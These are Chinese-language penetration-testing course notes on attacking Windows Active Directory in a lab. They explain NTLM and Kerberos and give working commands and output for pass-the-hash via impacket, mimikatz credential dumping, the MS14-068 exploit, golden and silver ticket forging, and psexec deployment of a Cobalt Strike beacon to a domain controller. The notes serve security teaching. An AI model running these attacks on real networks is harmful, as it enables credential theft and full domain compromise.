0%

【安恒培训】渗透测试

it基础设施:

  1. web
  2. 企业内网
  3. 云计算
  4. 移动设备(APP)
  5. 人工智能
  6. 物联网

内网&外网

由于 IPv4枯竭 的问题出现,因此出现了内网地址(NAT)

内网渗透

  1. 内网穿透
    1. iox(简单好用,可以配合proxychains形成代理链)
    2. nps
  2. 横向移动

域介绍

域是一个有安全边界的计算机集合。域控电脑可以控制域内所有账户,负责电脑连入和验证工作

活动目录实现了域环境的核心功能——目录服务(LDAP)

image-20251211093827826

image-20251211094329154

Windows常见端口和对应的服务

使用impacket进行攻击渗透

  1. 135 —— RPC协议

    Remote procedure call ,远程过程调用协议。WMI是微软实现的基于WEB的企业管理,支持访问本地和远程主机。WMI地层水基于分布式组件对象模型DCOM。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    wmiexec.py dbapp.lab/user1:'123qwe!@#'@10.3.4.110 -codec='GBK'
    Impacket v0.14.0.dev0+20251209.143744.82a5a8f0 - Copyright Fortra, LLC and its affiliated companies

    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    dbapp\user1

    C:\>dir
    驱动器 C 中的卷没有标签。
    卷的序列号是 A623-059D

    C:\ 的目录

    2025/12/17 09:43 48,004 .opennebula-context.out
    2025/12/17 09:43 615 .opennebula-startscript.ps1
    2021/10/09 09:05 <DIR> drivers
    2019/12/07 17:14 <DIR> PerfLogs
    2025/12/17 09:46 <DIR> Program Files
    2021/10/09 09:06 <DIR> Program Files (x86)
    2025/12/17 09:56 <DIR> Users
    2025/12/17 09:57 <DIR> Windows
    2 个文件 48,619 字节
    6 个目录 29,313,929,216 可用字节

    NTLM 攻击方式:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    wmiexec.py dbapp.lab/user1@10.3.4.110 -hashes :00AFFD88FA323B00D4560BF9FEF0EC2F -codec='GBK'
    Impacket v0.14.0.dev0+20251209.143744.82a5a8f0 - Copyright Fortra, LLC and its affiliated companies

    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    dbapp\user1

    C:\>ps
    'ps' 不是内部或外部命令,也不是可运行的程序
    或批处理文件。

    C:\>ipconfig

    Windows IP 配置


    以太网适配器 以太网:

    连接特定的 DNS 后缀 . . . . . . . :
    本地链接 IPv6 地址. . . . . . . . : fe80::15ff:3b95:72cc:5c3d%9
    IPv4 地址 . . . . . . . . . . . . : 10.3.4.110
    子网掩码 . . . . . . . . . . . . : 255.255.252.0
    默认网关. . . . . . . . . . . . . : 10.3.7.251

    以太网适配器 以太网 2:

    连接特定的 DNS 后缀 . . . . . . . :
    本地链接 IPv6 地址. . . . . . . . : fe80::593:cbfa:64c2:c512%5
    IPv4 地址 . . . . . . . . . . . . : 192.168.122.101
    子网掩码 . . . . . . . . . . . . : 255.255.255.0
    默认网关. . . . . . . . . . . . . : 192.168.122.1
  2. 139 —— NetBIOS,网络基本输入输出会话服务

    NetBIOS 会话服务,NBT会话适用于包含SMB会话的轻量级协议。用于在老版本上支持SMB协议进行一些复杂的功能,比如文件共享和打印机服务。

  3. 445 —— SMB协议

    SMB(Server Message Block)文件共享服务。psexec 可以通过SMB连接到目标机器上获得交互终端。

NTLM认证机制

  • windows logon process

    用于管理用户登录和登出

  • LSASS进程

    用于系统的安全机制,用于本地安全和登录策略,将明文密码加密成NTLM哈希值。

  • SAM数据库

    用于存储用户密码的NTLM哈希值和LM哈希值(已不再使用),存放于 C:\windows\system32\config\sam。在系统运行中是无法打开的,只能通过dump lsass获取。

    • LM

      不再使用

    • NTLM

      NTLM协议是以NTLM哈希作为基础,进行加密验证的过程。基于挑战/响应的认证机制,只支持windows,并且可以在域中和工作组中运行。

Kerberos 认证机制

Kerberos 是一种基于对称密钥和可信第三方的网络认证协议,核心目标是在不明文传输密码的情况下,实现客户端与服务器之间的安全身份认证

image-20251217104353743

Kerberos 体系中有三方:

  1. Client(客户端)

    请求访问服务的用户或主机

  2. Server / Service(服务端)

    提供具体服务的服务器(如文件服务、数据库等)

  3. KDC(Key Distribution Center,密钥分发中心)

    可信第三方,通常由两部分组成:

    • AS(Authentication Server):身份认证
    • TGS(Ticket Granting Server):发放服务票据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──────────────────┐┌──────────────────┐┌──────────────────┐┌──────────────────┐
│ Client ││ AS ││ TGS ││ Server │
└───┬──────────────┘└───┬──────────────┘└───┬──────────────┘└───┬──────────────┘
│ │ │ │
────────────────────> 1. AS-REQ (用户名)
│ │ │ │
<──────────────────── 2. AS-REP (TGT + Kc,tgs)
│ │ │ │
======================================== 用户已登录(SSO)
│ │ │ │
────────────────────────────────────────> 3. TGS-REQ (TGT + Auth + 服务名)
│ │ │ │
<──────────────────────────────────────── 4. TGS-REP (ST + Kc,s)
│ │ │ │
────────────────────────────────────────────────────────────> 5. AP-REQ (ST + Auth)
│ │ │ │
<─────────────────────────────────────────────────────────── 6. AP-REP (时间戳 +1)

MS14-068

漏洞利用条件:

  1. 任意域账户
  2. 域账户密码
  3. SID
  4. 域控服务器IP

当进入靶机的 meterpreter 的shell之后,使用命令查看当前内存中所有的creds信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 371141 (00000000:0005a9c5)
Session : Interactive from 1
User Name : ttao
Domain : MIRAGE
Logon Server : WIN-1JCHUI60DHS
Logon Time : 2025/12/17 14:24:24
SID : S-1-5-21-2476688485-4256841910-2155116890-1103
msv :
[00000003] Primary
* Username : ttao
* Domain : MIRAGE
* LM : 089d427cf0d287abb75e0c8d76954a50
* NTLM : 79da2541787f8a39c671ba82af14d349
* SHA1 : 2117dcd4952d69fdc9e0cdc3f0e97478ba2bd192
tspkg :
* Username : ttao
* Domain : MIRAGE
* Password : retro#123
wdigest :
* Username : ttao
* Domain : MIRAGE
* Password : retro#123
kerberos :
* Username : ttao
* Domain : MIRAGE.COM
* Password : retro#123
ssp :
credman :
...
...

使用MS14-068工具创建该域用户的黄金票据:

1
2
3
4
5
6
7
8
9
10
C:\Users\ttao\Desktop>.\MS14-068.exe -u ttao@mirage.com -p retro#123 -s S-1-5-21-2476688485-4256841910-2155116890-1103 -d 192.168.20.254
[+] Building AS-REQ for 192.168.20.254... Done!
[+] Sending AS-REQ to 192.168.20.254... Done!
[+] Receiving AS-REP from 192.168.20.254... Done!
[+] Parsing AS-REP from 192.168.20.254... Done!
[+] Building TGS-REQ for 192.168.20.254... Done!
[+] Sending TGS-REQ to 192.168.20.254... Done!
[+] Receiving TGS-REP from 192.168.20.254... Done!
[+] Parsing TGS-REP from 192.168.20.254... Done!
[+] Creating ccache file 'TGT_ttao@mirage.com.ccache'... Done!

使用mimikatz导入票据

1
kerberos::ptc xxx.ccache

使用psexec等工具执行命令

1
psexec.exe  \\WIN-1JCHUI60DHS.mirage.com -s cmd.exe

黄金票据

漏洞利用条件:

  1. 域内krbtgt的NTLM哈希值
  2. 域的SID(域用户的SID去掉最后一个字段)
  3. 域名

漏洞利用步骤

  1. 获取krbtgt的哈希值、域的SID、域名

    1
    2
    3
    mimikatz lsadump::dcsync /domain:mirage.com /user:krbtgt # 获取krbtgt的哈希值
    mimikatz sekurlsa::logonpasswords # 获取sid
    shell net user /domain # 获取域名、域控主机名
  2. 使用mimikatz伪造一张黄金票据

    1
    mimikatz kerberos::golden /user:administrator /domain:mirage.com /sid:S-1-5-21-2476688485-4256841910-2155116890 /krbtgt:0fa09e64e964aa459db48844b2242d88
  3. 将黄金票据导入到当前服务器

    1
    mimikatz kerberos::ptt ticket.kirbi
  4. 使用psexec等工具连接到目标服务器

1
beacon> shell PsExec.exe \\WIN-1JCHUI60DHS.mirage.com -s C:\DC-beacon_x64.exe

白银票据

漏洞利用条件:

  1. 域名
  2. 域内SID
  3. 目标服务器名称
  4. 目标服务器(机器账户)的NTLM哈希值

漏洞利用步骤:

  1. 获取域名、域内SID、目标服务器名称、目标服务器的哈希值

    1
    2
    shell net user /domain # 获取域名、域控主机名
    mimikatz sekurlsa::logonpasswords # 获取sid(或者:whoami /user)、目标服务器的NTLM哈希值
  2. 使用mimikatz伪造一张白银票据

    1
    mimikatz kerberos::golden /user:administrator /domain:mirage.com /sid:S-1-5-21-2476688485-4256841910-2155116890 /target:WIN-1JCHUI60DHS.mirage.com /service:cifs /rc4:4bb66c3a60728e9c4cee1dda824b74ab /user:user /ticket:silver.kirbi
  3. 将白银票据导入到当前服务器,并访问特定服务

    1
    mimikatz kerberos::ptt silver.kirbi

非约束委派

在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端文件服务器上的记录的方案。这通常称为“ Kerberos双跳问题” ,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。需要注意的一点是接受委派的用户只能是服务账户或者计算机用户

约束委派

被设置为约束性委派的服务能够调用S4U2SelfTGS为任意用户请求访问自身的可转发的服务票据,此后,便可通过S4U2Proxy使用这张TGS向域控制器请求访问B的票据。

image-20251218165457748